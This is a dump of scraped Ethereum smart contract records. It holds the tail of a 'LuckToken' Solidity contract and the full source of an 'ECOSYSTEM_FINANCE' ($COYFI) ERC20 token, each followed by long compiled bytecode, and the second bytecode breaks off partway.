modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract LuckToken is StandardToken, Ownable { string public name = "幸运币"; string public symbol = "LUCK"; uint8 public decimals = 0; uint public INITIAL_SUPPLY = 999999999; event Bless(address indexed from, string words, uint256 value); event LogBuy(address user, uint amount); function LuckToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function buy() payable public returns (bool) { require(msg.value >= 0.0001 ether); uint _value = msg.value / 0.0001 ether; balances[owner] = balances[owner].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); LogBuy(msg.sender, _value); return true; } function bless(string _words, uint256 _value) public returns (bool) { require(_value >= bytes(_words).length); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[owner] = balances[owner].add(_value); Bless(msg.sender, _words, _value); return true; } function reclaimEther() onlyOwner public { assert(owner.send(address(this).balance)); } function() payable public { buy(); } }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100fc578063095ea7b31461018a57806318160ddd146101e45780631de250bf1461020d57806323b872dd1461028b5780632ff2e9dc14610304578063313ce5671461032d578063661884631461035c57806370a08231146103b65780638da5cb5b1461040357806395d89b41146104585780639f727c27146104e6578063a6f2ae3a146104fb578063a9059cbb1461051d578063d73dd62314610577578063dd62ed3e146105d1578063f2fde38b1461063d575b6100f9610676565b50005b341561010757600080fd5b61010f61087f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014f578082015181840152602081019050610134565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ca600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061091d565b604051808215151515815260200191505060405180910390f35b34156101ef57600080fd5b6101f7610a0f565b6040518082815260200191505060405180910390f35b341561021857600080fd5b610271600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050610a19565b604051808215151515815260200191505060405180910390f35b341561029657600080fd5b6102ea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca7565b604051808215151515815260200191505060405180910390f35b341561030f57600080fd5b610317611061565b6040518082815260200191505060405180910390f35b341561033857600080fd5b610340611067565b604051808260ff1660ff16815260200191505060405180910390f35b341561036757600080fd5b61039c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061107a565b604051808215151515815260200191505060405180910390f35b34156103c157600080fd5b6103ed600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061130b565b6040518082815260200191505060405180910390f35b341561040e57600080fd5b610416611353565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046357600080fd5b61046b611379565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ab578082015181840152602081019050610490565b50505050905090810190601f1680156104d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104f157600080fd5b6104f9611417565b005b610503610676565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b61055d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114eb565b604051808215151515815260200191505060405180910390f35b341561058257600080fd5b6105b7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061170a565b604051808215151515815260200191505060405180910390f35b34156105dc57600080fd5b610627600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611906565b6040518082815260200191505060405180910390f35b341561064857600080fd5b610674600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061198d565b005b600080655af3107a4000341015151561068e57600080fd5b655af3107a40003481151561069f57fe5b04905061071581600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae590919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107ca816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f4f79409f494e81c38036d80aa8a6507c2cb08d90bfb2fead5519447646b3497e3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600191505090565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109155780601f106108ea57610100808354040283529160200191610915565b820191906000526020600020905b8154815290600101906020018083116108f857829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600082518210151515610a2b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a7857600080fd5b610ac9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b7e82600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fbab5c53ecab99ad9fb9df24044d720a3a8ef74ecc4bd234b0d78a5eebeb20af184846040518080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015610c62578082015181840152602081019050610c47565b50505050905090810190601f168015610c8f5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a26001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ce457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d3157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dbc57600080fd5b610e0d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60075481565b600660009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561118b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121f565b61119e8382611ae590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561140f5780601f106113e45761010080835404028352916020019161140f565b820191906000526020600020905b8154815290600101906020018083116113f257829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156114e957fe5b565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561152857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561157557600080fd5b6115c6826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611659826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061179b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a2557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611af357fe5b818303905092915050565b6000808284019050838110151515611b1257fe5b80915050929150505600a165627a7a72305820ad3ef698c2dc818201b72eadd04dee9684047737d7331a79a00af848eb8515e60029
{"success": true, "error": null, "results": {}}
7,321
0x6ad3325c9ed7bf0c556c9ba9e05ba77c1b10f4b1
/** Wb: https://ecosystem.finance Git Audited $COYFI forked of YFI source code */ pragma solidity 0.5.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _to != address(this)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _to != address(this)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, bytes calldata _extraData) external; } contract ECOSYSTEM_FINANCE is StandardToken, Ownable { string public constant name = "ECOSYSTEM.FINANCE"; string public constant symbol = "$COYFI"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 28000 * (10 ** uint256(decimals)); // Constructors constructor () public { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner emit Transfer(address(0), msg.sender, initialSupply); } function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, _extraData); return true; } } function transferAnyERC20Token(address _tokenAddress, address _to, uint _amount) public onlyOwner { ERC20(_tokenAddress).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063d493b9ac11610066578063d493b9ac1461057a578063d73dd623146105e8578063dd62ed3e1461064e578063f2fde38b146106c657610100565b80638da5cb5b1461038c57806395d89b41146103d6578063a9059cbb14610459578063cae9ca51146104bf57610100565b8063313ce567116100d3578063313ce56714610292578063378dc3dc146102b057806366188463146102ce57806370a082311461033457610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d61070a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610743565b604051808215151515815260200191505060405180910390f35b6101f6610835565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b61029a610b5d565b6040518082815260200191505060405180910390f35b6102b8610b62565b6040518082815260200191505060405180910390f35b61031a600480360360408110156102e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6e565b604051808215151515815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dff565b6040518082815260200191505060405180910390f35b610394610e48565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103de610e6e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041e578082015181840152602081019050610403565b50505050905090810190601f16801561044b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a56004803603604081101561046f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea7565b604051808215151515815260200191505060405180910390f35b610560600480360360608110156104d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561051c57600080fd5b82018360208201111561052e57600080fd5b8035906020019184600183028401116401000000008311171561055057600080fd5b90919293919293905050506110b3565b604051808215151515815260200191505060405180910390f35b6105e66004803603606081101561059057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111af565b005b610634600480360360408110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d1565b604051808215151515815260200191505060405180910390f35b6106b06004803603604081101561066457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114cd565b6040518082815260200191505060405180910390f35b610708600480360360208110156106dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611554565b005b6040518060400160405280601181526020017f45434f53595354454d2e46494e414e434500000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108a557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b6108ae57600080fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061098183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6c83826116a890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a616d600281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c7f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d13565b610c9283826116a890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600681526020017f24434f594649000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f1157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610f1a57600080fd5b610f6c82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bf90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808590506110c38686610743565b156111a5578073ffffffffffffffffffffffffffffffffffffffff1663a2d57853338787876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561118357600080fd5b505af1158015611197573d6000803e3d6000fd5b5050505060019150506111a7565b505b949350505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120957600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561129057600080fd5b505af11580156112a4573d6000803e3d6000fd5b505050506040513d60208110156112ba57600080fd5b810190808051906020019092919050505050505050565b600061136282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115ae57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115e857600080fd5b8073ffffffffffffffffff